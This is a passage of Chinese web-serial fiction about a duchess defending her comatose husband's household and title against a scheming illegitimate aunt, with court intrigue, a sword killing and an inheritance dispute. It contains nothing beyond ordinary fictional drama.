就算薇奥莱特相信了自己,公爵现在危在旦夕,他的病那么棘手,当年费了很多精力才请来伦纳德,现在要从哪里找一个新的来? ! 他区区一个助手又有什么立场质疑伦纳德? 万千思绪混杂在一起,维克托说不出话。落在薇奥莱特的眼里,几乎等同于百口莫辩,承认是自己粗心大意! “维克托!我把海因交给你,是看在你细心谨慎,你怎么……你怎么就……呜呜呜!”薇奥莱特陷入绝望,指着维克托嚎啕。 “老夫人!”埃莉诺扶住老太太,给她擦眼泪,“请您镇定,别这样……” “要我怎么镇定!我怎么镇定?!海因如果有事……他如果出事……”烛火照耀着薇奥莱特的浑浊的眼睛,泪水滑过脸颊,向来整洁精致的老妇人,此刻仿佛苍老了十岁,“我们全完了……斯宾塞全完了……” “伦纳德医生,我以斯宾塞和恩斯特两个家族的名义请托您,救救海因,哪怕只有一丝希望!”薇奥莱特激动地抓着医生的手。 “老夫人!”伦纳德深吸一口气,叹道,“公爵现在的情况,我已经毫无办法,只能看他自己。” 薇奥莱特愣住,颤抖着声音:“……什么意思?” 伦纳德:“您可以理解为,公爵的体内本就埋藏着火山,以前可以用药物来压制火焰。可是现在他的身体产生抗药性,无法进行人为降雨,以前被压制的岩浆全数反扑,比任何一次都要剧烈……甚至……” “甚至已经快要超过人体承受的极限。”伦纳德摇头,“如果上帝保佑,兴许会有千分之一苏醒的机会。剩下的概率,恐怕熬不过三天……请贵府尽早做决断。” 薇奥莱特发着抖,“三天……” 走廊上,所有人陷入沉寂。 突然,伦纳德蹙眉,抬眸看向卧室。 里面刚刚苏醒的海因里希被四根沉重的铁链绑在床上,正痛苦地嘶吼。巨大的力量使得金属床架不断摇晃,发出可怕的动静。 实习医生助手颤抖着靠近,想要换下敷伤口的药物,一时不察,被挣脱铁链的凶兽狠狠咬住胳膊:“啊啊啊啊啊!!” “快!快!绑住他!!”伦纳德喝道。 “加上更粗的链子!” …… 伦纳德带来的医护鱼贯而入,五六个壮汉再次压制海因里希,手脚麻利地按住他。 剧烈搏斗的凶兽似乎感受不到疼痛,四肢被沉重的铁链拉扯得血肉模糊,却仍然嘶吼着扑向医护。 薇奥莱特想上前,却被拦在卧室外,只能徒劳地喃喃:“轻一点,你们轻一点……” 室内的伦纳德仿佛没有听见老夫人的哀求,冷静指挥助手:“加大剂量,让他镇定!” 五六个壮汉压制着海因里希,将巨量药剂灌入他的喉咙。 那双嗜血的眼眸在黑夜里狼狈而可怖。 “咳咳咳……” 他似乎被呛到了,铁链被挣扎的动作牵动,发出叮呤咣啷的声响。可是围在身前的医护面孔冷漠,似乎谁也没有察觉。 被拦在室外的众人看不见里面的情形,却能听见困兽的挣扎。 维克托垂眸,身侧的手指攥紧。 所有仆人纷纷挪开视线,不忍心细想。 昔日高贵的公爵先生,现在就像断了爪子的猛虎,被人关在牢笼里折磨,奄奄一息。 “伦纳德先生!请您注意治疗手段!”维克托深呼吸,尽力保持冷静。 背对着门外的伦纳德不予理会,招手叫来助手换药。 额头的创口很小,纱布被粗鲁地撕扯开,血液又汩汩流下。 海因里希的喉咙发出嗬嗬声,却被壮汉医护捂住嘴。 维克托又听见铁链的动静:“伦纳德先生!” 他刚上前一步,就被两个壮汉拦住。 里面传来伦纳德的声音:“老夫人,我们需要安静的治疗环境,请带着闲杂人等都离开。否则,公爵恐怕连千分之一苏醒的机会都没有了!” 薇奥莱特深吸一口气。 她现在毫无办法,只能照做。 正要开口,突然有人擦肩而过,径直走向卧室。 她一怔:“奥黛丽?回来!海因现在情况不稳定!” 室内,伦纳德正吩咐助手调配更多的镇静药剂,刚刚海因里希挣扎得太剧烈,几乎没喝下多少。 忽然,一只手从后面伸了过来。 “哐当”一声,药碗被掀翻在地! 所有医护回头,看着出现在身后,被女仆搀扶的虚弱女人。 伊莎贝尔逆光站着,脖子上被勒出的红痕刺目显眼,她声音平静,一字一顿:“滚出去!” 伦纳德眸光微动:“公爵夫人,我理解您的心情,发病的公爵先生需要镇定,否则无法保证你们的安全。您可以不信任我,但不能不信老夫人,上一次我也是用这样的方法……” 伊莎贝尔缓缓抬眸,冰蓝色的眼睛毫无感情:“我说滚!听见了吗?” 伦纳德怔住,回过头。 薇奥莱特此刻心如死灰,压根没有理会他的视线。 很显然,老夫人默认年轻的公爵夫人拥有决定自己去留的权力。 伦纳德冷哼一声,带着医护团队离开。 刚下楼,却见大门紧闭,女仆伊迪斯带着一众卫兵等候已久。 “伦纳德先生,我带您去休息。” 伦纳德:“让开!你知道我是谁吗?” 伊迪斯和她的主人一样镇定:“抱歉,无论是谁,没有公爵夫人的命令,都不能踏出斯宾塞家半步。” 伦纳德瞪大眼睛,看着高大的卫兵向自己走来。 - 楼上,伊莎贝尔挥退所有人,只留下维克托。 昨夜,海因里希昏迷后,伊莎贝尔去了隔壁房间休息,顺便治疗自己的伤。 但是这样的夜晚,没有人能睡着。 不久前,她吩咐艾米丽将门打开一条缝,默默听着走廊的对话。 她并不觉得维克托会粗心得放任海因里希服用过量药剂。 可这一切发生得太快太蹊跷,她只能先在暗中了解形势,再决定下一步怎么做。 “把你的疑虑说出来。” 伊莎贝尔看向维克托,嗓音有些沙哑,艾米丽立刻将水杯递给她,喝了两口才好些。 维克托不再犹豫,一口气将疑点说清楚。 “嗯,我知道了。”伊莎贝尔回想那一缕药香,“你先回去吧,伊迪斯已经去找新的医生了。” 维克托抬眸:“您也怀疑伦纳德?” “不只是他。”伊莎贝尔眼底讥诮,“忘了你的药瓶怎么消失的吗?现在这里的所有人,都不可信。” 维克托皱眉:“可是伦纳德怎么有这种本事?他的动机又是什么?上次公爵发病,的确是他救回来的。这一切都太矛盾了。” 铁链咣啷作响,伊莎贝尔看向再次发出痛苦嘶吼的海因里希,陷入思索。 “也许海因里希根本就没有病。” 维克托:“您的意思是,这一切都是幕后真凶的安排?!” 一颗地雷,埋下的时候无声无息,等到合适的时机,引线被点燃,就会山崩海啸。 伊莎贝尔闭上眼,思绪飞转。 很快在短时间内想清楚了所有关窍! 来不及纠结小事,没空追究药瓶、伦纳德、以及海因里希生病的真相! 坏的结果已经产生,就像多米诺骨牌,一张倒塌,所有都不复存在! 幕后之人把水搅浑,就是想等他们自乱阵脚的这一刻! 没有时间跟维克托解释太多,伊莎贝尔飞速找到薇奥莱特,开门见山:“祖母,除了海因里希的亲卫,现在斯宾塞府还能召集多少士兵?” 薇奥莱特愣了片刻:“大约只有女王曾经给……给海因母亲留下的那些。” “全都叫过来!”伊莎贝尔语速飞快。 “你想守住斯宾塞府?”薇奥莱特很快明白过来,“可是这没有用!瞒不住的!奥黛丽,你无法想象墨伦维克的消息有多么灵通!很快整个首都都会知道海因病危!只能活三天!” 伊莎贝尔脸色沉暗,冷笑:“薇奥莱特夫人,是还能活三天!至少还有三天,是海因里希为我们争取了三天!” 薇奥莱特一怔。 伊莎贝尔盯着她,嗓音沙哑:“我没时间和您解释!仔细想想!海因里希死了,谁是最终受益者?!” 窗外,突然响起马车滚轮的动静,三四辆华贵的车架出现在街道外沿。 仆从的簇拥下,美艳的贵妇抬起头,朝窗内的人对视一眼,微笑颔首。 薇奥莱特呼吸急促:“索菲娅?!” 伊莎贝尔顺着她的眸光望去,面容冰冷。 脑海中闪过埃德蒙临走前的疯狂威胁。 原来在这里等着她呢。 从一开始,埃德蒙就是索菲娅制造的幌子。 看似在对付她,实际的目标是海因里希。 自从五年前海因里希继承爵位后,身边的防护提高许多,埃德蒙处心积虑也没法伤到他。 如果没猜错,索菲娅恐怕是在海因里希袭爵之前就埋下了钉子! 一位能真正治好病患的医生,当然深受信任,可如果海因里希的病本就是假的呢? 那么长期服用的、以为能治病的药,也许才是真正的病源! 海因里希前一个月减少了服药频率,幕后真凶为了确保他发病,于是偷换了放大药力的药瓶。 维克托的确认真仔细,可这件事从一开始就无解! 中间所有的细小环节都影响不了最终的结果!药瓶只是让发病时间精准提前,即便没有这一环,这一天也迟早到来!因为海因里希的病根早就埋下了! 除非有人在海因里希袭爵之前就意识到不对劲! 可那个时候帝国双壁刚死,乔伊斯还短暂地成为了斯宾塞家主人,那么混乱的情形谁能料到这一点! 所有人都认为海因里希深受重创才这样!谁会信一个疯子说自己没病?久而久之,他自己也信自己病了! 而唯一能够发现蹊跷的伊莎贝尔来得太晚,根本没有机会求证。 现在察觉,正是引线点燃的时候。 这才是索菲娅的高明之处! 她不赌概率!而是从一开始就算好结果! 公爵夫人死了不重要,因为后面还会有无数的公爵夫人。 可一旦公爵身死,刚刚恢复身份的索菲娅就将成为名正言顺的继承人。 好,很好。 索菲娅算准了时间,为的就是让最有威胁力的她,毫无准备的余地! 伊莎贝尔闭上眼。 那就看看你能不能得偿所愿吧,索菲娅。 缓缓睁开眼,她看向床上的男人—— 伊迪斯请来的新医生已经帮海因里希重新上药包扎。 犹豫再三,他还是上前道:“夫人,公爵先生的病,我无能为力。看他的生命体征,恐怕熬不过这几天……能不能醒来,还是要看他自己,但愿上帝保佑。” 再次听到噩耗,伊莎贝尔和薇奥莱特已经镇静下来。 海因里希的“病根”,从五年前就种下了。索菲娅布了这么久的局,怎么可能让她们钻空子,随便找个医生就能治? 老太太忍了许久,还是哭了起来。 伊莎贝尔摆手让医生出去,缓缓走近床边。 ——他的四肢仍然被铁链捆绑得血肉模糊,整个人被药物控制着昏睡,睫毛无意识地颤抖,似乎在梦里搏斗,努力想睁开眼。身上明明还是婚礼那套军装,却已经凌乱不堪。狼狈得像街边的流浪犬。 她找来钥匙,一个一个解开锁链。 薇奥莱特想起前车之鉴:“奥黛丽……别……” “如果真的只剩三天……”伊莎贝尔垂眸,“至少让他舒服一点。” 薇奥莱特再次哽咽。 听着耳边的哭声,冰蓝色的眼睛似乎饱含复杂的情绪,又像是什么也没有。 “很疼吧。”微凉的双手盖住他颤抖的眼皮,顿了顿,“好好睡一觉。” 她不知道他的梦里有什么,也不知道这样的治疗过程,他经历了几次。 忽然想起那天晚上,他们并肩躺在草地上,这个人黝黑的眼眸和天边的星星一样纯净。 不聪明的小藏獒被托举成了家主,如果不装出凶悍聪明的模样,就会被啃食得一干二净。 可藏獒只适合在草原驰骋,终究不适合生活在城堡里。 他已经很努力了,可秃鹫和鬣狗们虎视眈眈,明枪暗箭防不胜防。 伊莎贝尔静静看着他的脸。 ——这样的人生,是你喜欢的吗? 在梦里挣扎的某一瞬间,是不是想过,就这么结束呢? “我希望你醒过来,海因里希。”她闭上眼,轻声说。 “可是……如果你不愿意……” 她顿了顿,深吸一口气,缓缓睁开眼:“也没关系。” 婚礼的誓言似乎还回响在耳畔——你是否愿意爱他、安慰他、尊敬他、保护他,无论疾病还是健康?是否愿意舍弃其他一切,只忠于他,唯此一生? 伊莎贝尔轻吻他的额头:“我会替你走下去。” 门外传来通报:“公爵夫人、老夫人、索菲娅伯爵夫人求见。” “该来的还是要来。”薇奥莱特深呼吸,压下悲伤,勉强恢复往日的趾高气昂的模样,向伊莎贝尔伸出胳膊,“走吧。” 最后看了眼海因里希,伊莎贝尔和薇奥莱特对视一眼,一齐走了出来。 门扉渐合,室内一片寂静。 海因里希的手指动了动—— 作者有话说:对不起我系土狗[求你了][求你了](顶锅盖)我整本文都是这种土土的剧情,你们懂的[求你了][求求你了] 第48章 斯宾塞家在墨伦维克的宅邸位于中央大道, 仆人缓缓拉开华贵的大门。 索菲娅抬眸,露出深紫色宽檐帽底下的黝黑眼睛。在她身后,还跟着许多熟悉的面孔,都是斯宾塞家的表亲。 红木楼梯上,薇奥莱特走在前, 礼貌而疏离地与来者打招呼。 美艳的女人勾起唇角,彬彬有礼颔首。 伊莎贝尔没有下楼, 而是站在二楼隔间。 透过围栏,冰蓝色的眼睛审视着楼下。 众人在客厅坐下,文森特伯爵作为表亲之中来往最紧密的人,率先开口道:“噢!薇奥莱特夫人,我希望传闻不是真的!听说海因重病垂危?我们大家一起赶了过来。” 薇奥莱特冷哼,回答时眼睛却盯着索菲娅:“文森特,我不知道你从哪里听来的谣言,海因只是生了场小病,这不值得大惊小怪。倒是你们,什么时候跟一个来历不明的女人有交情,还商量着一起过来?” “呃……” 话音刚落,文森特和众表亲的脸色逐渐难看,并悄悄打量着索菲娅。 如果是以前,索菲娅这么一个普通贵妇,他们还真看不上,更不至于同她攀交情。 可现在形势不同了。 昨夜,海因里希病重的消息不胫而走,几乎所有人都没睡好。 如果说斯宾塞家是一棵大树,那么这些小贵族表亲们就是依附大树生存的枝丫。海因里希如果死了,就意味着斯宾塞变天了。他们必须审时度势,为自己家族的将来考虑。 假如海因里希有孩子,能够平稳继承倒还好,可偏偏没有!而私生女索菲娅在不久前正式加入斯宾塞家族。按照继承法,她会是第一顺位继承人。 所有人都头疼起来。 谁都知道薇奥莱特和私生女的关系势同水火,他们不想和老夫人闹得太僵,可是索菲娅的邀约已经送到了面前! 这几乎是明晃晃地告诉他们:要投诚,就从今天开始选择站队。否则,等她上位,一切都将重新洗牌。 贵族都是人精,当然看得明白,索菲娅这个举动其实也是想借众表亲的势,像现在这样趁斯宾塞家陷入混乱,确认海因里希死亡,再快速接过权柄。 虽然存在利用,但双方目标是一致的。至少他们都必须确定海因里希的状况。 如果海因里希没事,那么大家还能和以前一样相亲相爱。 如果真的快死了……索菲娅成为新主人就是板上钉钉的事!那他们还不如顺水推舟,现在就上她的船! 索菲娅也正料到了对方的心理,因此,即便此刻听见薇奥莱特夫人明晃晃地出言羞辱,她仍然云淡风轻。 “薇奥莱特夫人,我体谅年迈老人的记性,所以衷心提醒您。”索菲娅微笑着从仆人手里接过咖啡,喝了一口才道,“我不是来历不明的女人,我现在是——索菲娅·斯宾塞。” 她缓缓吐出姓氏的字母,神情温和,却比任何嘲讽都更容易激怒人。 薇奥莱特果然胸脯起伏剧烈,她冷笑:“斯宾塞?一个妓女生的私生女也配姓斯宾塞?” “是的,当初您把我赶走的那一天,也许没想过我会回来,更没想过,我会成为斯宾塞未来的主人。”索菲娅笑容不变,谦逊地颔首,“当然,等我继承庄园,绝不会像您当初对待我那样。” “未来的主人?!你简直痴心妄想!海因还没死!他没事!”薇奥莱特重重拄拐,“滚出去!这里不欢迎你这样的客人!” “噢老夫人,您消消气,我想索菲娅夫人不是有意冒犯。”文森特打圆场,顿了顿,“而且……她的确是斯宾塞继承人没错。我相信以索菲娅女士的人品,即便海因出现意外,她也会履行承诺善待您……” “你住口!”薇奥莱特豁然起身,指着文森特,“好啊,你们已经自甘堕落和一个低贱的私生女站在一块儿了!很好!看来你们已经忘了,当初是怎么在我面前谄媚,又是谁向你们一团糟的家族伸出援手!” 众表亲被指着鼻子骂,过往的恩情令他们有一瞬间的愧疚,但更多的是羞耻! 文森特脸色逐渐变化,彻底冷了下去,面无表情道:“老夫人,斯宾塞家族的援助我们铭记于心,所以,我们才会发誓永远效忠。” 文森特起身,看着老夫人,缓慢重复:“不过,是效忠斯宾塞。” 以他为首,众表亲纷纷站到索菲娅身边。 文森特面容平静:“谁是斯宾塞未来的主人,我们就效忠谁。” 薇奥莱特浑身气得发颤。 “你们……你们……我真后悔帮了你们这群毫无底线的家伙!我说过海因没有事,现在你们通通给我滚出去!” 索菲娅挑眉,优雅地摇晃折扇,“噢,老夫人,作为海因的姑姑,我也不希望他有事,愿上帝保佑他。” “可是……”她话锋一转,“假如您宣称他情况良好,不如让我们见一见他。” 文森特悄悄与索菲娅对了眼色,冷笑:“是的,听说伦纳德医生还在贵府,或者让他告诉我们海因的状况,也是好主意。” 薇奥莱特:“伦纳德医术不精!现在是其他医生在诊治!你们没资格探视!都给我退下!” “呵,这可由不得您了,老夫人。” 说着,众表亲们的视线纷纷投向楼梯。 “走!我们去看看海因。” “你们想干什么?还要强闯公爵府吗?!”薇奥莱特怒喝,伸出拐杖拦在他们身前。 “您执意不让我们探望,那么合理怀疑,海因情况已经很糟糕。”索菲娅缓缓上前,身后跟着众表亲,黑压压的影子笼罩着苍老的薇奥莱特夫人,“按照锡兰公国律法,贵族丧事不可隐瞒虚报,老夫人,请让开。” 柔和的话语充满威胁。 文森特率先绕过薇奥莱特,带着身后的人就往楼梯上冲! 刚迈出一级台阶,只听见头顶响起纷乱的脚步声。 再抬头,数十个卫兵手持刀剑,紧密地拦在楼梯口! 众人愣住。 “怎么会有士兵?!” 表亲们脸色骤变,脚步停住。 文森特悄悄扫了眼索菲娅,“糟了,她们反应很快,今天恐怕进不去了。” 索菲娅眸光暗沉,手指无意识攥紧。 婚礼当天人多事杂,沉浸在幸福快乐中的人,怎么会料到这种突发状况——而这就是她特意挑准的发难时机。 更重要的是,她算准海因里希大部分亲卫留在了查尔维斯,只有少部分要充当仪仗兵来到墨伦维克。 可现在……她不着痕迹地算了算士兵的人数,远远超出自己的预计。 索菲娅垂眸,勾起唇角。 还是小看了那位诺曼小姐。 好快的反应速度,好果决的判断。 像是映证了她的猜想——忽然,卫兵井然有序地让开一条道,伊莎贝尔缓缓出现。 人群里,索菲娅笑容微收,眸光仍然柔和。 “亲爱的,你那么聪明,我以为你看得清楚形势。”她扫了眼严阵以待的卫兵,轻笑,“刀剑再怎么锋利,能拦住几天?” 伊莎贝尔帮薇奥莱特整理凌乱的鬓发,不疾不徐:“我能拦几天,是我的本事。你只需要知道,现在我还是这里的女主人。” 她看向跟在身后的助手先生:“维克托,送客。” “是,公爵夫人。” 维克托带领着一队卫兵将众人团团为主。 一群养尊处优的贵族,在凶悍士兵的瞪视下,只能咬着牙退后。索菲娅挺直着脊背,最后一个才走。 出门前,她突然回眸。 隔着宽敞的宴会厅,伊莎贝尔与她对视。 索菲娅盯着她,嫣然一笑:“奥黛丽,期待下次相见。” 她优雅地行了一个礼,昂首离去- 大门徐徐关上。 薇奥莱特老夫人终于支撑不住,跌坐在沙发上,“这群野蛮的家伙!哪还有半点贵族的尊严?竟然真的敢逼到斯宾塞家门口来!” 伊莎贝尔平静地听着她的怒骂。 对于养尊处优大半辈子的老夫人而言,今天的一切足以让她火冒三丈。 曾经她面对过最危机的时刻,无非是丈夫和长子双双死亡,家族陷入斗争。 可那些都是发生在家族内部,不管是谁继承爵位,她仍然是地位尊贵的老夫人。即便有流血斗争,也从来不会冒犯到她的面前来。 “您必须清楚,真正面临利益分割时,谁都是野蛮人。”伊莎贝尔撩开眼皮,看向薇奥莱特,“如果还讲究体面,甚至以贵族风范去要求对手,那么今天我们已经尸骨无存。” 薇奥莱特愣住。 渐渐反应过来事情的严重性。 索菲娅是个笑里藏刀的狠人,如果今天伊莎贝尔没有靠武力手段拦住他们,那么恐怕查尔维斯已经易主! 伊莎贝尔没空安慰老太太,她看向维克托:“去,把所有人召集到大厅。” 斯宾塞府的大门牢牢关闭。 五分钟过去,伊迪斯和维克托分别带领着男女仆人齐聚大厅。 短短两天,斯宾塞家形势大变,风雨飘摇。 众仆人清楚形势,都惴惴不安彼此对眼色。 薇奥莱特看见自己的贴身女仆埃莉诺都在其中,疑惑道:“奥黛丽,你这是做什么?” 伊莎贝尔没理她,扫了眼士兵首领:“贝茨上尉。” 大胡子军官立刻领会,带领着众士兵分成数个小队,冲向仆人房间,沉重的步伐仿佛踏在每个人的心上。 “公爵夫人,请问这是做什么?搜我们的房间吗?!” “夫人,我们都是斯宾塞家的忠实的仆人,您不能这么侮辱我们的人格……” …… 好几个人出言质问。 薇奥莱特皱眉,刚想开口,就对上伊莎贝尔的眼神,只好闭上嘴。 伊莎贝尔始终沉默,她闭着眼,任由他们议论。 直到贝茨上尉举着一个药瓶回来:“公爵夫人,找到了!” 伊莎贝尔倏然睁眼。 人群里,矮个子男仆看见药瓶的一刹那,脸色剧变,很快低下头试图隐藏。 可惜维克托已经将他拎了出来。 伊莎贝尔没有废话,嗓音冰冷,吐出两个字:“处理干净。” “是!” 士兵压着挣扎喊叫的男仆离开。 刚才还嘈杂的人群彻底陷入寂静,众人不敢深想那人的下场。 “诸位。”伊莎贝尔终于扬起唇角,笑意却未达眼底,“我知道你们服务斯宾塞多年,忠实可靠。可是非常时刻,必须采取非常手段,希望各位谅解。” 她语气温和,众人以为内鬼被揪出,事情就过去了。 可是下一刻,士兵们以刚才驱赶不速之客的架势,缓缓围拢上前。 伊迪斯和维克托再次成为男女领头:“抱歉地通知各位,在公爵夫人宣布危机解除之前,请安静待在各自房间,不许踏出半步。” 众人被士兵分别关进客房。一人一间,门上挂着大锁,吃喝拉撒有专人负责。 仆人们短暂地享受了贵宾才能住的华美房间,却高兴不起来。可是不满的情绪在看见凶神恶煞的士兵后,只能吞了回去。 薇奥莱特颓然抬眸,看着空荡的大厅,深吸一口气:“做这些还有用吗?奥黛丽。” 她虽然在外人面前刚硬,可是却明白,索菲娅说的没错。 海因的消息瞒得过一时,瞒不过一世。 就算现在抓出内鬼,将斯宾塞家的漏洞通通补上,也影响不了大局。 “所以应该像您一样早早认命吗?”伊莎贝尔冷笑:“我只知道,坐以待毙才是真正没有作用。” “薇奥莱特夫人,不到最后一刻,胜负谁也说不准。” 薇奥莱特觑着她的脸色,神情逐渐凝重:“你什么意思?!你想到办法了?” 伊莎贝尔盯着薇奥莱特,没有说话。 沉默已经告诉了薇奥莱特答案,浑浊的眼底重新燃起亮光- 深夜,二楼卧室。 马车停在门外,维克托披着夜色匆匆赶来,轻敲房门。 守在海因里希身边的伊莎贝尔倏然抬头:“进来。” 微弱灯光下,向来一丝不苟的维克托头发被风吹得凌乱,却来不及整理,喘息着将信封递给伊莎贝尔:“公爵夫人,按照您的吩咐,我收到了女王的书信。可是……单有它恐怕不足以扭转形势。” 伊莎贝尔轻轻敲击桌面,眸光微动:“是的,还缺一样。” 话音刚落,房门被推开,艾米丽压抑不住喜色:“小姐!我找到了!” 一整天不见踪影的艾米丽灰头土脸,捧着一叠厚厚的大部头书籍,眼底神采奕奕。 伊莎贝尔倏然抬眸,手指无意识攥紧。 她迅速接过,细细翻看,确认无误后,长出一口气。 紧绷许久的神经终于在这一刻放松。 良久,她轻笑,拍了拍艾米丽的肩:“好样的,艾米丽。” 维克托和艾米丽对视一眼,心知这是有把握了。 窗外,黎明前的黑暗格外漫长。 连着熬了两天两夜,她让维克托和艾米丽去休息,自己却只是靠在海因里希床边打盹。 起初还会在梦里发出痛苦嘶吼的男人,现在彻底像失去灵魂的木偶。耳边传来微弱得几乎听不见的呼吸,但这能证明他还活着。 伊莎贝尔闭着眼,脑子还在飞速运转。直到太阳xue开始疼痛,她才抬手按了按,却只能纾解半分。 天底下没有完美的计划,头脑再聪明的人也无法算无遗策。 突发的变故、来势汹汹的敌人、未知的困难……全都压在她的肩膀上。 长久的思虑和匮乏的休息时间,令她难得生出疲惫。 幸好来的不是真正的奥黛丽,而是她,否则真无法想象那个小姑娘现在有多无助…… 思绪发散,抬眸时,看见海因里希的侧脸沐浴在月光下。 伊莎贝尔目光沉静,长久地注视着他。 微弱的呼吸不知道还能持续多久,也许下一刻,他就要离开。 她想起原书剧情,又想起在查尔维斯做的那个梦。 按照剧情和梦里的时间推断,海因里希似乎没有面临死亡危机,所以才能送奥黛丽离开。 伊莎贝尔伸出手,指尖距离他的脸很近,却突兀地停住。 ——而现在,是不是自己的到来,令索菲娅感到危险,才导致一系列的蝴蝶效应? 良久,她缓缓缩回手,轻呼出一口气,把脸迈进掌心。 停顿许久才抬起头,勾起一丝笑。 第一次,冰蓝色的眼睛里倒映着微光,像苦笑,又好像什么也没有,依然是云淡风轻的模样。 “海因里希。”她轻笑,“我很健忘,也从不会愧疚。” “你可以选择永远沉睡,我想,我会很快忘记你。” 天边泛起鱼肚白,熹微晨光洒在海因里希的脸上。 黑夜过去,伊莎贝尔移开视线。 她又要投身战斗。 窗外,宅邸街道边沿,华贵的马车再次出现。 这一次,索菲娅的身后不仅有文森特等表亲,还有一队手持刀剑、训练有素的士兵。 斯宾塞府也早就做好了准备。 大门紧闭,贝茨上尉带领着众士兵守在门外,双方陷入对峙。 “看来斯宾塞家打定主意要违抗继承法。” 索菲娅微笑,摆了摆手,轻飘飘道:“闯进去。” —— 作者有话说:先吃!后面还在大火爆炒!预计有二更 第49章 索菲娅身后的士兵来自菲利普府邸,训练有素。看人数,比斯宾塞家多出一倍。 贝茨上尉奋力抵抗,却终究被他们闯了过去。 下一刻。大门忽然从里面打开。 薇奥莱特换上华贵的礼服, 挺直脊背走了出来。 一夜没合眼的老夫人,此刻却像回到了曾经威严掌权的时刻。 “要闯进来, 先从我身上踏过去!” 镶嵌斯宾塞家族徽章的权杖重重敲击地面。 文森特念旧情,还保留贵族的虚伪客套。 “老夫人,海因里希已经死了,现在最好的选择就是让我们进去,索菲娅夫人会保证你日后的荣耀!” “荣耀?!”薇奥莱特冷笑, “你们懂什么是斯宾塞的荣耀?我斯宾塞家的先祖玛格丽特护国有功,是锡兰第一女爵!我的丈夫、我的儿子为国征战,功勋无数!你们去看看,斯宾塞家出了多少贡献卓越的先辈!凭你索菲娅也配谈荣耀?!” 掷地有声的喝骂,换来一声轻笑。 索菲娅拾级而上,步伐优雅。 “是的,就凭我。”索菲娅挑眉,缓缓道:“斯宾塞的荣耀……轮到您最瞧不起的私生女、轮到妓女的野种、轮到一个靠卖身求荣的伯爵情妇来继承。” 索菲娅笑容越来越大,眼底盈满灼灼火光, “您最在乎的荣耀,轮到我来书写了,薇奥莱特夫人。” 薇奥莱特深吸一口气,面容紧绷。 下一刻,索菲娅再次摆手,士兵迅速冲上前。 “干什么?放开我!”薇奥莱特夫人挣扎着,被士兵“请”到了一旁。 索菲娅抬头,眸光扫过斯宾塞府邸的旗帜。 她曾经那么渴望的家族徽章,如今唾手可得。 踏上台阶,她缓缓走向天鹅绒红毯。 长长的地毯,通往金碧辉煌的大厅。 这条路,她走了半辈子。 没有人知道,她从泥泞中爬起来,走下去,再登上高台,需要付出多少代价! 索菲娅黝黑的眼眸如深渊,唇边挂着微笑。 亲卫随侍两侧,她踏入大门、穿过大厅,只等上楼“确认”海因里希死亡,再宣布由她继承斯宾塞爵位。 做好所有的准备,索菲娅胸有成竹。 即将登上楼梯的下一秒,意外发生! 电光火石间,一柄利剑横穿而过—— 索菲娅瞪大眼睛,僵在原地 滚烫的血液喷涌在雪白的脸颊上。 她愣愣回头,身后的亲卫被利剑捅个对穿,死不瞑目。 一道血线自脸颊伤口蜿蜒而下,索菲娅呼吸停滞,艰难地回头,对上冰冷的眼神。 “强盗擅自闯入公爵府,按照律法,可以就地格杀。” 伊莎贝尔站在高高的台阶上,面孔冰冷,利落抽出铁剑,血液再次溅了索菲娅一身。 所有人、包括门外没来得及进入的士兵们都愣住了。 索菲娅很快回神,扬起微笑:“强盗?奥黛丽,这个玩笑不够有趣。说实在的,就凭你昨天那么迅速地反应过来,我就十分欣赏你的智慧。” “我喜欢聪明人,所以不想伤害你。”索菲娅轻笑,“菲利普的亲兵远比你们的多,我不想见血,你确定要执迷不悟?” 伊莎贝尔抬起铁剑,上面狮子旭日标志熠熠生光。 那是从玛格丽特时期传承而来的宝剑,象征着斯宾塞家族的无上权柄。 此刻,剑锋直指索菲娅的瞳孔。 “索菲娅,同样的话送给你。”伊莎贝尔嗤笑,“我不想见血……如果你执迷不悟,那么大可来试试玛格丽特传承宝剑的刀锋是否锋利。” 索菲娅脸色彻底冷了下去。 “我讨厌无谓的挣扎,那只会显得愚蠢。” 她摆了摆手,身后的仆从举起大主教签发的继承确认书。 索菲娅冷笑:“我、索菲娅·斯宾塞,拥有锡兰公国承认的合法继承权。再敢阻拦者,格杀勿论!” 亲卫听从指令,涌入大厅,大门缓缓关上。 伊莎贝尔举着铁剑,环视全场。 黑压压的士兵虎视眈眈围拢上前,只有台阶上的她仍然挺直脊背,像群狼环伺中的孤鹤。 忽然,她轻笑:“索菲娅,你就那么确信,自己是唯一的合法继承人吗?” 索菲娅目光微顿,很快笑了起来:“奥黛丽,这就是你垂死挣扎的办法?拖延这一刻,有用吗?” 她们彼此都清楚,海因里希危在旦夕,除非上帝显灵,让他立刻醒过来。 否则,只要让索菲娅闯入这道楼梯,海因里希不死也得死。 伊莎贝尔神情平静,众目睽睽之下,只见她挥了挥手。 戴着金丝眼镜的维克托立刻上前。 “诸位,斯宾塞府第一继承人不是索菲娅·斯宾塞。”他从容将一封女王亲笔信展示在众人眼前,“索菲娅夫人有大主教签发的继承书,同样,我们也有女王书信佐证,奥黛丽·诺曼女士,才是真正的第一继承人。” 众人陷入沉寂,很快,表亲们率先炸开锅。 “什么意思?!别开玩笑了!呵!公爵夫人是第一继承人?!维克托,撒谎也要有个限度!继承法案例从来没有这种情况!” 索菲娅眸光微动,很快顺着表亲们的话:“奥黛丽,女王的书信无法撼动法律。妄想代替不了实际。” 人群里,文森特没有跟着起哄,而是谨慎地思索起来。 如果是其他贵族也就罢了,限定继承法规定得死死的,只有男人可以继承爵位。 但斯宾塞家特殊,从玛格丽特袭爵起,就有规章制度写明,女性拥有继承权。 当年的法案尘封三百年,谁也没去研究过锡兰公国独一份的继承法。 既然索菲娅有、那么谁知道公爵夫人有没有呢? 文森特审慎开口:“公爵夫人,我们与斯宾塞家打交道这么多年,从没听说过配偶可以继承爵位,请问这一条法规出自哪里?” 索菲娅脸色微变,手指攥紧。 可是这个时候如果打断文森特,反而更加引人怀疑。 眼底滑过微光,她迅速扬起笑脸:“我想在场的人都明白,配偶代表着另一个家族,世上绝不会有哪份荒唐的法案,会将一个家族的权柄让渡给外人。” 众人对视一眼,暗暗认同这个说法。 伊莎贝尔却笑了笑,眼底充满讥诮。 她轻轻擦拭铁剑,嗓音平淡:“索菲娅,如薇奥莱特夫人所说,你当真不明白斯宾塞家的荣耀,从何而来。” 索菲娅目光微顿,心中升起不妙的预感。 艾米丽捧着大部头文书飞奔而下。 昨晚,她将陈旧的历史条文从书中摘录出来,一式抄写几份,分别发给就近的人看。 文森特皱眉盯着条文,一目十行。 伊莎贝尔的声音在耳边响起:“诸位现在看到的,是先祖玛格丽特袭爵时的原始继承协定,王宫典籍里都有留存,没有造假的可能。” 